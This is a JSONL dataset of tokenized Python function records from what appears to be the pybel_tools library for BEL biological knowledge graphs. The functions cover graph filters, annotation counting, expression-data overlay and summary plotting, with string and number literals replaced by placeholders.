{"signature": "@document.command()<EOL>@click.argument('<STR_LIT:name>')<EOL>@click.argument('<STR_LIT>')<EOL>@click.argument('<STR_LIT:description>')<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>)<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>')<EOL>@click.option('<STR_LIT>', type=click.File('<STR_LIT:wb>'), default=sys.stdout)<EOL>def boilerplate(name, contact, description, pmids, version, copyright, authors, licenses, disclaimer, output):", "body": "from .document_utils import write_boilerplate<EOL>write_boilerplate(<EOL>name=name,<EOL>version=version,<EOL>description=description,<EOL>authors=authors,<EOL>contact=contact,<EOL>copyright=copyright,<EOL>licenses=licenses,<EOL>disclaimer=disclaimer,<EOL>pmids=pmids,<EOL>file=output,<EOL>)<EOL>", "docstring": "Build a template BEL document with the given PubMed identifiers.", "id": "f9385:m8"}
{"signature": "@document.command()<EOL>@click.argument('<STR_LIT>', nargs=-<NUM_LIT:1>)<EOL>@connection_option<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:r>'), default=sys.stdin, help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', help='<STR_LIT>'.format(os.getcwd()))<EOL>def serialize_namespaces(namespaces, connection: str, path, directory):", "body": "from .definition_utils import export_namespaces<EOL>graph = from_lines(path, manager=connection)<EOL>export_namespaces(namespaces, graph, directory)<EOL>", "docstring": "Parse a BEL document then serializes the given namespaces (errors and all) to the given directory.", "id": "f9385:m9"}
{"signature": "@io.command()<EOL>@graph_pickle_argument<EOL>@click.option('<STR_LIT>', '<STR_LIT>', type=click.File('<STR_LIT:w>'), default=sys.stdout)<EOL>def get_pmids(graph: BELGraph, output: TextIO):", "body": "for pmid in get_pubmed_identifiers(graph):<EOL><INDENT>click.echo(pmid, file=output)<EOL><DEDENT>", "docstring": "Output PubMed identifiers from a graph to a stream.", "id": "f9385:m10"}
{"signature": "@in_place_transformation<EOL>def overlay_data(graph: BELGraph,<EOL>data: Mapping[BaseEntity, Any],<EOL>label: Optional[str] = None,<EOL>overwrite: bool = False,<EOL>) -> None:", "body": "if label is None:<EOL><INDENT>label = WEIGHT<EOL><DEDENT>for node, value in data.items():<EOL><INDENT>if node not in graph:<EOL><INDENT>log.debug('<STR_LIT>', node)<EOL>continue<EOL><DEDENT>if label in graph.nodes[node] and not overwrite:<EOL><INDENT>log.debug('<STR_LIT>', label, node)<EOL>continue<EOL><DEDENT>graph.nodes[node][label] = value<EOL><DEDENT>", "docstring": "Overlays tabular data on the network\n\n    :param graph: A BEL Graph\n    :param data: A dictionary of {tuple node: data for that node}\n    :param label: The annotation label to put in the node dictionary\n    :param overwrite: Should old annotations be overwritten?", "id": "f9387:m0"}
{"signature": "@in_place_transformation<EOL>def overlay_type_data(graph: BELGraph,<EOL>data: Mapping[str, float],<EOL>func: str,<EOL>namespace: str,<EOL>label: Optional[str] = None,<EOL>overwrite: bool = False,<EOL>impute: Optional[float] = None,<EOL>) -> None:", "body": "new_data = {<EOL>node: data.get(node[NAME], impute)<EOL>for node in filter_nodes(graph, function_namespace_inclusion_builder(func, namespace))<EOL>}<EOL>overlay_data(graph, new_data, label=label, overwrite=overwrite)<EOL>", "docstring": "Overlay tabular data on the network for data that comes from an data set with identifiers that lack\n    namespaces.\n\n    For example, if you want to overlay differential gene expression data from a table, that table\n    probably has HGNC identifiers, but no specific annotations that they are in the HGNC namespace or\n    that the entities to which they refer are RNA.\n\n    :param graph: A BEL Graph\n    :param dict data: A dictionary of {name: data}\n    :param func: The function of the keys in the data dictionary\n    :param namespace: The namespace of the keys in the data dictionary\n    :param label: The annotation label to put in the node dictionary\n    :param overwrite: Should old annotations be overwritten?\n    :param impute: The value to use for missing data", "id": "f9387:m1"}
{"signature": "def load_differential_gene_expression(path: str,<EOL>gene_symbol_column: str = '<STR_LIT>',<EOL>logfc_column: str = '<STR_LIT>',<EOL>aggregator: Optional[Callable[[List[float]], float]] = None,<EOL>) -> Mapping[str, float]:", "body": "if aggregator is None:<EOL><INDENT>aggregator = np.median<EOL><DEDENT>df = pd.read_csv(path)<EOL>assert gene_symbol_column in df.columns<EOL>assert logfc_column in df.columns<EOL>df = df.loc[df[gene_symbol_column].notnull(), [gene_symbol_column, logfc_column]]<EOL>values = defaultdict(list)<EOL>for _, gene_symbol, log_fold_change in df.itertuples():<EOL><INDENT>values[gene_symbol].append(log_fold_change)<EOL><DEDENT>return {<EOL>gene_symbol: aggregator(log_fold_changes)<EOL>for gene_symbol, log_fold_changes in values.items()<EOL>}<EOL>", "docstring": "Load and pre-process a differential gene expression data.\n\n    :param path: The path to the CSV\n    :param gene_symbol_column: The header of the gene symbol column in the data frame\n    :param logfc_column: The header of the log-fold-change column in the data frame\n    :param aggregator: A function that aggregates a list of differential gene expression values. Defaults to\n                       :func:`numpy.median`. Could also use: :func:`numpy.mean`, :func:`numpy.average`,\n                       :func:`numpy.min`, or :func:`numpy.max`\n    :return: A dictionary of {gene symbol: log fold change}", "id": "f9387:m2"}
{"signature": "def summarize_edge_filter(graph: BELGraph, edge_predicates: EdgePredicates) -> None:", "body": "passed = count_passed_edge_filter(graph, edge_predicates)<EOL>print('<STR_LIT>'.format(<EOL>passed, graph.number_of_edges(),<EOL>(<EOL>'<STR_LIT:U+002CU+0020>'.join(edge_filter.__name__ for edge_filter in edge_predicates)<EOL>if isinstance(edge_predicates, Iterable) else<EOL>edge_predicates.__name__<EOL>)<EOL>))<EOL>", "docstring": "Print a summary of the number of edges passing a given set of filters.", "id": "f9389:m0"}
{"signature": "def build_edge_data_filter(annotations: Mapping, partial_match: bool = True) -> EdgePredicate: ", "body": "@edge_predicate<EOL>def annotation_dict_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return subdict_matches(data, annotations, partial_match=partial_match)<EOL><DEDENT>return annotation_dict_filter<EOL>", "docstring": "Build a filter that keeps edges whose data dictionaries are super-dictionaries to the given dictionary.\n\n    :param annotations: The annotation query dict to match\n    :param partial_match: Should the query values be used as partial or exact matches? Defaults to :code:`True`.", "id": "f9389:m1"}
{"signature": "def build_pmid_inclusion_filter(pmids: Strings) -> EdgePredicate:", "body": "if isinstance(pmids, str):<EOL><INDENT>@edge_predicate<EOL>def pmid_inclusion_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_pubmed(data) and data[CITATION][CITATION_REFERENCE] == pmids<EOL><DEDENT><DEDENT>elif isinstance(pmids, Iterable):<EOL><INDENT>pmids = set(pmids)<EOL>@edge_predicate<EOL>def pmid_inclusion_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_pubmed(data) and data[CITATION][CITATION_REFERENCE] in pmids<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>return pmid_inclusion_filter<EOL>", "docstring": "Pass for edges with citations whose references are one of the given PubMed identifiers.\n\n    :param pmids: A PubMed identifier or list of PubMed identifiers to filter for", "id": "f9389:m2"}
{"signature": "def build_pmid_exclusion_filter(pmids: Strings) -> EdgePredicate:", "body": "if isinstance(pmids, str):<EOL><INDENT>@edge_predicate<EOL>def pmid_exclusion_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_pubmed(data) and data[CITATION][CITATION_REFERENCE] != pmids<EOL><DEDENT><DEDENT>elif isinstance(pmids, Iterable):<EOL><INDENT>pmids = set(pmids)<EOL>@edge_predicate<EOL>def pmid_exclusion_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_pubmed(data) and data[CITATION][CITATION_REFERENCE] not in pmids<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>return pmid_exclusion_filter<EOL>", "docstring": "Fail for edges with citations whose references are one of the given PubMed identifiers.\n\n    :param pmids: A PubMed identifier or list of PubMed identifiers to filter against", "id": "f9389:m3"}
{"signature": "def build_author_inclusion_filter(authors: Strings) -> EdgePredicate:", "body": "if isinstance(authors, str):<EOL><INDENT>@edge_predicate<EOL>def author_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_authors(data) and authors in data[CITATION][CITATION_AUTHORS]<EOL><DEDENT><DEDENT>elif isinstance(authors, Iterable):<EOL><INDENT>authors = set(authors)<EOL>@edge_predicate<EOL>def author_filter(data: EdgeData) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return has_authors(data) and any(<EOL>author in data[CITATION][CITATION_AUTHORS]<EOL>for author in authors<EOL>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>return author_filter<EOL>", "docstring": "Pass only for edges with author information that matches one of the given authors.\n\n    :param authors: The author or list of authors to filter by", "id": "f9389:m4"}
{"signature": "def node_has_namespace(node: BaseEntity, namespace: str) -> bool:", "body": "ns = node.get(NAMESPACE)<EOL>return ns is not None and ns == namespace<EOL>", "docstring": "Pass for nodes that have the given namespace.", "id": "f9389:m5"}
{"signature": "def node_has_namespaces(node: BaseEntity, namespaces: Set[str]) -> bool:", "body": "ns = node.get(NAMESPACE)<EOL>return ns is not None and ns in namespaces<EOL>", "docstring": "Pass for nodes that have one of the given namespaces.", "id": "f9389:m6"}
{"signature": "def build_source_namespace_filter(namespaces: Strings) -> EdgePredicate:", "body": "if isinstance(namespaces, str):<EOL><INDENT>def source_namespace_filter(_, u: BaseEntity, __, ___) -> bool:<EOL><INDENT>return node_has_namespace(u, namespaces)<EOL><DEDENT><DEDENT>elif isinstance(namespaces, Iterable):<EOL><INDENT>namespaces = set(namespaces)<EOL>def source_namespace_filter(_, u: BaseEntity, __, ___) -> bool:<EOL><INDENT>return node_has_namespaces(u, namespaces)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>return source_namespace_filter<EOL>", "docstring": "Pass for edges whose source nodes have the given namespace or one of the given namespaces.\n\n    :param namespaces: The namespace or namespaces to filter by", "id": "f9389:m7"}
{"signature": "def build_target_namespace_filter(namespaces: Strings) -> EdgePredicate:", "body": "if isinstance(namespaces, str):<EOL><INDENT>def target_namespace_filter(_, __, v: BaseEntity, ___) -> bool:<EOL><INDENT>return node_has_namespace(v, namespaces)<EOL><DEDENT><DEDENT>elif isinstance(namespaces, Iterable):<EOL><INDENT>namespaces = set(namespaces)<EOL>def target_namespace_filter(_, __, v: BaseEntity, ___) -> bool:<EOL><INDENT>return node_has_namespaces(v, namespaces)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError<EOL><DEDENT>return target_namespace_filter<EOL>", "docstring": "Only passes for edges whose target nodes have the given namespace or one of the given namespaces\n\n    :param namespaces: The namespace or namespaces to filter by", "id": "f9389:m8"}
{"signature": "@in_place_transformation<EOL>def remove_nodes_by_function(graph: BELGraph, func: Strings) -> None:", "body": "remove_filtered_nodes(graph, function_inclusion_filter_builder(func))<EOL>", "docstring": "Remove nodes with the given function.\n\n    This could be useful directly to remove pathologies.", "id": "f9390:m0"}
{"signature": "@in_place_transformation<EOL>def remove_nodes_by_namespace(graph: BELGraph, namespace: Strings) -> None:", "body": "remove_filtered_nodes(graph, namespace_inclusion_builder(namespace))<EOL>", "docstring": "Remove nodes with the given namespace.\n\n    This might be useful to exclude information learned about distant species, such as excluding all information\n    from MGI and RGD in diseases where mice and rats don't give much insight to the human disease mechanism.", "id": "f9390:m1"}
{"signature": "@register_deprecated('<STR_LIT>')<EOL>@in_place_transformation<EOL>def remove_mouse_nodes(graph: BELGraph) -> None:", "body": "remove_nodes_by_namespace(graph, ['<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Remove nodes using the MGI and MGIID namespaces.", "id": "f9390:m2"}
{"signature": "@register_deprecated('<STR_LIT>')<EOL>@in_place_transformation<EOL>def remove_rat_nodes(graph: BELGraph) -> None:", "body": "remove_nodes_by_namespace(graph, ['<STR_LIT>', '<STR_LIT>'])<EOL>", "docstring": "Remove nodes using the RGD and RGDID namespaces.", "id": "f9390:m3"}
{"signature": "@in_place_transformation<EOL>def remove_nodes_by_function_namespace(graph: BELGraph, func: str, namespace: Strings) -> None:", "body": "remove_filtered_nodes(graph, function_namespace_inclusion_builder(func, namespace))<EOL>", "docstring": "Remove nodes with the given function and namespace.\n\n    This might be useful to exclude information learned about distant species, such as excluding all information\n    from MGI and RGD in diseases where mice and rats don't give much insight to the human disease mechanism.", "id": "f9390:m4"}
{"signature": "def summarize_node_filter(graph: BELGraph, node_filters: NodePredicates) -> None:", "body": "passed = count_passed_node_filter(graph, node_filters)<EOL>print('<STR_LIT>'.format(passed, graph.number_of_nodes()))<EOL>", "docstring": "Print a summary of the number of nodes passing a given set of filters.\n\n    :param graph: A BEL graph\n    :param node_filters: A node filter or list/tuple of node filters", "id": "f9391:m0"}
{"signature": "def node_inclusion_filter_builder(nodes: Iterable[BaseEntity]) -> NodePredicate:", "body": "node_set = set(nodes)<EOL>def inclusion_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return node in node_set<EOL><DEDENT>return inclusion_filter<EOL>", "docstring": "Build a filter that only passes on nodes in the given list.\n\n    :param nodes: An iterable of BEL nodes", "id": "f9391:m1"}
{"signature": "def node_exclusion_filter_builder(nodes: Iterable[BaseEntity]) -> NodePredicate:", "body": "node_set = set(nodes)<EOL>def exclusion_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return node not in node_set<EOL><DEDENT>return exclusion_filter<EOL>", "docstring": "Build a filter that fails on nodes in the given list.", "id": "f9391:m2"}
{"signature": "def function_inclusion_filter_builder(func: Strings) -> NodePredicate:", "body": "if isinstance(func, str):<EOL><INDENT>return _single_function_inclusion_filter_builder(func)<EOL><DEDENT>elif isinstance(func, Iterable):<EOL><INDENT>return _collection_function_inclusion_builder(func)<EOL><DEDENT>raise ValueError('<STR_LIT>'.format(func))<EOL>", "docstring": "Build a filter that only passes on nodes of the given function(s).\n\n    :param func: A BEL Function or list/set/tuple of BEL functions", "id": "f9391:m5"}
{"signature": "def function_exclusion_filter_builder(func: Strings) -> NodePredicate:", "body": "if isinstance(func, str):<EOL><INDENT>def function_exclusion_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return node[FUNCTION] != func<EOL><DEDENT>return function_exclusion_filter<EOL><DEDENT>elif isinstance(func, Iterable):<EOL><INDENT>functions = set(func)<EOL>def functions_exclusion_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return node[FUNCTION] not in functions<EOL><DEDENT>return functions_exclusion_filter<EOL><DEDENT>raise ValueError('<STR_LIT>'.format(func))<EOL>", "docstring": "Build a filter that fails on nodes of the given function(s).\n\n    :param func: A BEL Function or list/set/tuple of BEL functions", "id": "f9391:m6"}
{"signature": "def function_namespace_inclusion_builder(func: str, namespace: Strings) -> NodePredicate:", "body": "if isinstance(namespace, str):<EOL><INDENT>def function_namespaces_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if func != node[FUNCTION]:<EOL><INDENT>return False<EOL><DEDENT>return NAMESPACE in node and node[NAMESPACE] == namespace<EOL><DEDENT><DEDENT>elif isinstance(namespace, Iterable):<EOL><INDENT>namespaces = set(namespace)<EOL>def function_namespaces_filter(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if func != node[FUNCTION]:<EOL><INDENT>return False<EOL><DEDENT>return NAMESPACE in node and node[NAMESPACE] in namespaces<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(namespace))<EOL><DEDENT>return function_namespaces_filter<EOL>", "docstring": "Build a filter function for matching the given BEL function with the given namespace or namespaces.\n\n    :param func: A BEL function\n    :param namespace: The namespace to search by", "id": "f9391:m7"}
{"signature": "def data_contains_key_builder(key: str) -> NodePredicate:  ", "body": "def data_contains_key(_: BELGraph, node: BaseEntity) -> bool:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return key in node<EOL><DEDENT>return data_contains_key<EOL>", "docstring": "Build a filter that passes only on nodes that have the given key in their data dictionary.\n\n    :param key: A key for the node's data dictionary", "id": "f9391:m8"}
{"signature": "def variants_of(<EOL>graph: BELGraph,<EOL>node: Protein,<EOL>modifications: Optional[Set[str]] = None,<EOL>) -> Set[Protein]:", "body": "if modifications:<EOL><INDENT>return _get_filtered_variants_of(graph, node, modifications)<EOL><DEDENT>return {<EOL>v<EOL>for u, v, key, data in graph.edges(keys=True, data=True)<EOL>if (<EOL>u == node<EOL>and data[RELATION] == HAS_VARIANT<EOL>and pybel.struct.has_protein_modification(v)<EOL>)<EOL>}<EOL>", "docstring": "Returns all variants of the given node.", "id": "f9391:m10"}
{"signature": "def get_variants_to_controllers(<EOL>graph: BELGraph,<EOL>node: Protein,<EOL>modifications: Optional[Set[str]] = None,<EOL>) -> Mapping[Protein, Set[Protein]]:", "body": "rv = defaultdict(set)<EOL>variants = variants_of(graph, node, modifications)<EOL>for controller, variant, data in graph.in_edges(variants, data=True):<EOL><INDENT>if data[RELATION] in CAUSAL_RELATIONS:<EOL><INDENT>rv[variant].add(controller)<EOL><DEDENT><DEDENT>return rv<EOL>", "docstring": "Get a mapping from variants of the given node to all of its upstream controllers.", "id": "f9391:m12"}
{"signature": "def insert_graph(self, graph: BELGraph, **_kwargs) -> Network:", "body": "result = _Namespace()<EOL>result.id = len(self.networks)<EOL>self.networks[result.id] = graph<EOL>return result<EOL>", "docstring": "Insert a graph and return the resulting ORM object (mocked).", "id": "f9395:c1:m1"}
{"signature": "def get_graph_by_id(self, network_id: int) -> BELGraph:", "body": "return self.networks[network_id]<EOL>", "docstring": "Get a graph by its identifier.", "id": "f9395:c1:m2"}
{"signature": "def get_graphs_by_ids(self, network_ids: Iterable[int]) -> List[BELGraph]:", "body": "return [<EOL>self.networks[network_id]<EOL>for network_id in network_ids<EOL>]<EOL>", "docstring": "Get several graphs by their identifiers.", "id": "f9395:c1:m3"}
{"signature": "def group_dict_set(iterator: Iterable[Tuple[A, B]]) -> Mapping[A, Set[B]]:", "body": "d = defaultdict(set)<EOL>for key, value in iterator:<EOL><INDENT>d[key].add(value)<EOL><DEDENT>return dict(d)<EOL>", "docstring": "Make a dict that accumulates the values for each key in an iterator of doubles.", "id": "f9396:m0"}
{"signature": "def get_edge_relations(graph: BELGraph) -> Mapping[Tuple[BaseEntity, BaseEntity], Set[str]]:", "body": "return group_dict_set(<EOL>((u, v), d[RELATION])<EOL>for u, v, d in graph.edges(data=True)<EOL>)<EOL>", "docstring": "Build a dictionary of {node pair: set of edge types}.", "id": "f9396:m1"}
{"signature": "def count_unique_relations(graph: BELGraph) -> Counter:", "body": "return Counter(itt.chain.from_iterable(get_edge_relations(graph).values()))<EOL>", "docstring": "Return a histogram of the different types of relations present in a graph.\n\n    Note: this operation only counts each type of edge once for each pair of nodes", "id": "f9396:m2"}
{"signature": "def get_annotations_containing_keyword(graph: BELGraph, keyword: str) -> List[Mapping[str, str]]:", "body": "return [<EOL>{<EOL>'<STR_LIT>': annotation,<EOL>'<STR_LIT:value>': value<EOL>}<EOL>for annotation, value in iter_annotation_value_pairs(graph)<EOL>if keyword.lower() in value.lower()<EOL>]<EOL>", "docstring": "Get annotation/value pairs for values for whom the search string is a substring\n\n    :param graph: A BEL graph\n    :param keyword: Search for annotations whose values have this as a substring", "id": "f9396:m3"}
{"signature": "def count_annotation_values(graph: BELGraph, annotation: str) -> Counter:", "body": "return Counter(iter_annotation_values(graph, annotation))<EOL>", "docstring": "Count in how many edges each annotation appears in a graph\n\n    :param graph: A BEL graph\n    :param annotation: The annotation to count\n    :return: A Counter from {annotation value: frequency}", "id": "f9396:m4"}
{"signature": "def count_annotation_values_filtered(graph: BELGraph,<EOL>annotation: str,<EOL>source_predicate: Optional[NodePredicate] = None,<EOL>target_predicate: Optional[NodePredicate] = None,<EOL>) -> Counter:", "body": "if source_predicate and target_predicate:<EOL><INDENT>return Counter(<EOL>data[ANNOTATIONS][annotation]<EOL>for u, v, data in graph.edges(data=True)<EOL>if edge_has_annotation(data, annotation) and source_predicate(graph, u) and target_predicate(graph, v)<EOL>)<EOL><DEDENT>elif source_predicate:<EOL><INDENT>return Counter(<EOL>data[ANNOTATIONS][annotation]<EOL>for u, v, data in graph.edges(data=True)<EOL>if edge_has_annotation(data, annotation) and source_predicate(graph, u)<EOL>)<EOL><DEDENT>elif target_predicate:<EOL><INDENT>return Counter(<EOL>data[ANNOTATIONS][annotation]<EOL>for u, v, data in graph.edges(data=True)<EOL>if edge_has_annotation(data, annotation) and target_predicate(graph, u)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>return Counter(<EOL>data[ANNOTATIONS][annotation]<EOL>for u, v, data in graph.edges(data=True)<EOL>if edge_has_annotation(data, annotation)<EOL>)<EOL><DEDENT>", "docstring": "Count in how many edges each annotation appears in a graph, but filter out source nodes and target nodes.\n\n    See :func:`pybel_tools.utils.keep_node` for a basic filter.\n\n    :param graph: A BEL graph\n    :param annotation: The annotation to count\n    :param source_predicate: A predicate (graph, node) -> bool for keeping source nodes\n    :param target_predicate: A predicate (graph, node) -> bool for keeping target nodes\n    :return: A Counter from {annotation value: frequency}", "id": "f9396:m5"}
{"signature": "def pair_is_consistent(graph: BELGraph, u: BaseEntity, v: BaseEntity) -> Optional[str]:", "body": "relations = {data[RELATION] for data in graph[u][v].values()}<EOL>if <NUM_LIT:1> != len(relations):<EOL><INDENT>return<EOL><DEDENT>return list(relations)[<NUM_LIT:0>]<EOL>", "docstring": "Return if the edges between the given nodes are consistent, meaning they all have the same relation.\n\n    :return: If the edges aren't consistent, return false, otherwise return the relation type", "id": "f9396:m6"}
{"signature": "def get_contradictory_pairs(graph: BELGraph) -> Iterable[Tuple[BaseEntity, BaseEntity]]:", "body": "for u, v in graph.edges():<EOL><INDENT>if pair_has_contradiction(graph, u, v):<EOL><INDENT>yield u, v<EOL><DEDENT><DEDENT>", "docstring": "Iterates over contradictory node pairs in the graph based on their causal relationships\n\n    :return: An iterator over (source, target) node pairs that have contradictory causal edges", "id": "f9396:m7"}
{"signature": "def get_consistent_edges(graph: BELGraph) -> Iterable[Tuple[BaseEntity, BaseEntity]]:", "body": "for u, v in graph.edges():<EOL><INDENT>if pair_is_consistent(graph, u, v):<EOL><INDENT>yield u, v<EOL><DEDENT><DEDENT>", "docstring": "Yield pairs of (source node, target node) for which all of their edges have the same type of relation.\n\n    :return: An iterator over (source, target) node pairs corresponding to edges with many inconsistent relations", "id": "f9396:m8"}
{"signature": "def pair_has_contradiction(graph: BELGraph, u: BaseEntity, v: BaseEntity) -> bool:", "body": "relations = {data[RELATION] for data in graph[u][v].values()}<EOL>return relation_set_has_contradictions(relations)<EOL>", "docstring": "Check if a pair of nodes has any contradictions in their causal relationships.\n\n    Assumes both nodes are in the graph.", "id": "f9397:m0"}
{"signature": "def relation_set_has_contradictions(relations: Set[str]) -> bool:", "body": "has_increases = any(relation in CAUSAL_INCREASE_RELATIONS for relation in relations)<EOL>has_decreases = any(relation in CAUSAL_DECREASE_RELATIONS for relation in relations)<EOL>has_cnc = any(relation == CAUSES_NO_CHANGE for relation in relations)<EOL>return <NUM_LIT:1> < sum([has_cnc, has_decreases, has_increases])<EOL>", "docstring": "Return if the set of BEL relations contains a contradiction.", "id": "f9397:m1"}
{"signature": "def plot_summary_axes(graph: BELGraph, lax, rax, logx=True):", "body": "ntc = count_functions(graph)<EOL>etc = count_relations(graph)<EOL>df = pd.DataFrame.from_dict(dict(ntc), orient='<STR_LIT:index>')<EOL>df_ec = pd.DataFrame.from_dict(dict(etc), orient='<STR_LIT:index>')<EOL>df.sort_values(<NUM_LIT:0>, ascending=True).plot(kind='<STR_LIT>', logx=logx, ax=lax)<EOL>lax.set_title('<STR_LIT>'.format(graph.number_of_nodes()))<EOL>df_ec.sort_values(<NUM_LIT:0>, ascending=True).plot(kind='<STR_LIT>', logx=logx, ax=rax)<EOL>rax.set_title('<STR_LIT>'.format(graph.number_of_edges()))<EOL>", "docstring": "Plots your graph summary statistics on the given axes.\n\n    After, you should run :func:`plt.tight_layout` and you must run :func:`plt.show` to view.\n\n    Shows:\n    1. Count of nodes, grouped by function type\n    2. Count of edges, grouped by relation type\n\n    :param pybel.BELGraph graph: A BEL graph\n    :param lax: An axis object from matplotlib\n    :param rax: An axis object from matplotlib\n\n    Example usage:\n\n    >>> import matplotlib.pyplot as plt\n    >>> from pybel import from_pickle\n    >>> from pybel_tools.summary import plot_summary_axes\n    >>> graph = from_pickle('~/dev/bms/aetionomy/parkinsons.gpickle')\n    >>> fig, axes = plt.subplots(1, 2, figsize=(10, 4))\n    >>> plot_summary_axes(graph, axes[0], axes[1])\n    >>> plt.tight_layout()\n    >>> plt.show()", "id": "f9398:m0"}
{"signature": "def plot_summary(graph: BELGraph, plt, logx=True, **kwargs):", "body": "fig, axes = plt.subplots(<NUM_LIT:1>, <NUM_LIT:2>, **kwargs)<EOL>lax = axes[<NUM_LIT:0>]<EOL>rax = axes[<NUM_LIT:1>]<EOL>plot_summary_axes(graph, lax, rax, logx=logx)<EOL>plt.tight_layout()<EOL>return fig, axes<EOL>", "docstring": "Plots your graph summary statistics. This function is a thin wrapper around :func:`plot_summary_axis`. It\n    automatically takes care of building figures given matplotlib's pyplot module as an argument. After, you need\n    to run :func:`plt.show`.\n\n    :code:`plt` is given as an argument to avoid needing matplotlib as a dependency for this function\n\n    Shows:\n\n    1. Count of nodes, grouped by function type\n    2. Count of edges, grouped by relation type\n\n    :param plt: Give :code:`matplotlib.pyplot` to this parameter\n    :param kwargs: keyword arguments to give to :func:`plt.subplots`\n\n    Example usage:\n\n    >>> import matplotlib.pyplot as plt\n    >>> from pybel import from_pickle\n    >>> from pybel_tools.summary import plot_summary\n    >>> graph = from_pickle('~/dev/bms/aetionomy/parkinsons.gpickle')\n    >>> plot_summary(graph, plt, figsize=(10, 4))\n    >>> plt.show()", "id": "f9398:m1"}
{"signature": "def count_subgraph_sizes(graph: BELGraph, annotation: str = '<STR_LIT>') -> Counter[int]:", "body": "return count_dict_values(group_nodes_by_annotation(graph, annotation))<EOL>", "docstring": "Count the number of nodes in each subgraph induced by an annotation.\n\n    :param annotation: The annotation to group by and compare. Defaults to 'Subgraph'\n    :return: A dictionary from {annotation value: number of nodes}", "id": "f9399:m0"}
{"signature": "def calculate_subgraph_edge_overlap(<EOL>graph: BELGraph,<EOL>annotation: str = '<STR_LIT>'<EOL>) -> Tuple[<EOL>Mapping[str, EdgeSet],<EOL>Mapping[str, Mapping[str, EdgeSet]],<EOL>Mapping[str, Mapping[str, EdgeSet]],<EOL>Mapping[str, Mapping[str, float]],<EOL>]:", "body": "sg2edge = defaultdict(set)<EOL>for u, v, d in graph.edges(data=True):<EOL><INDENT>if not edge_has_annotation(d, annotation):<EOL><INDENT>continue<EOL><DEDENT>sg2edge[d[ANNOTATIONS][annotation]].add((u, v))<EOL><DEDENT>subgraph_intersection = defaultdict(dict)<EOL>subgraph_union = defaultdict(dict)<EOL>result = defaultdict(dict)<EOL>for sg1, sg2 in itt.product(sg2edge, repeat=<NUM_LIT:2>):<EOL><INDENT>subgraph_intersection[sg1][sg2] = sg2edge[sg1] & sg2edge[sg2]<EOL>subgraph_union[sg1][sg2] = sg2edge[sg1] | sg2edge[sg2]<EOL>result[sg1][sg2] = len(subgraph_intersection[sg1][sg2]) / len(subgraph_union[sg1][sg2])<EOL><DEDENT>return sg2edge, subgraph_intersection, subgraph_union, result<EOL>", "docstring": "Build a DatafFame to show the overlap between different sub-graphs.\n\n    Options:\n    1. Total number of edges overlap (intersection)\n    2. Percentage overlap (tanimoto similarity)\n\n    :param graph: A BEL graph\n    :param annotation: The annotation to group by and compare. Defaults to 'Subgraph'\n    :return: {subgraph: set of edges}, {(subgraph 1, subgraph2): set of intersecting edges},\n            {(subgraph 1, subgraph2): set of unioned edges}, {(subgraph 1, subgraph2): tanimoto similarity},", "id": "f9399:m1"}
{"signature": "def summarize_subgraph_edge_overlap(graph: BELGraph, annotation: str = '<STR_LIT>') -> Mapping[str, Mapping[str, float]]:", "body": "_, _, _, subgraph_overlap = calculate_subgraph_edge_overlap(graph, annotation)<EOL>return subgraph_overlap<EOL>", "docstring": "Return a similarity matrix between all subgraphs (or other given annotation).\n\n    :param annotation: The annotation to group by and compare. Defaults to :code:`\"Subgraph\"`\n    :return: A similarity matrix in a dict of dicts\n    :rtype: dict", "id": "f9399:m2"}
{"signature": "def summarize_subgraph_node_overlap(graph: BELGraph, node_predicates=None, annotation: str = '<STR_LIT>'):", "body": "r1 = group_nodes_by_annotation_filtered(graph, node_predicates=node_predicates, annotation=annotation)<EOL>return calculate_tanimoto_set_distances(r1)<EOL>", "docstring": "Calculate the subgraph similarity tanimoto similarity in nodes passing the given filter.\n\n    Provides an alternate view on subgraph similarity, from a more node-centric view", "id": "f9399:m3"}
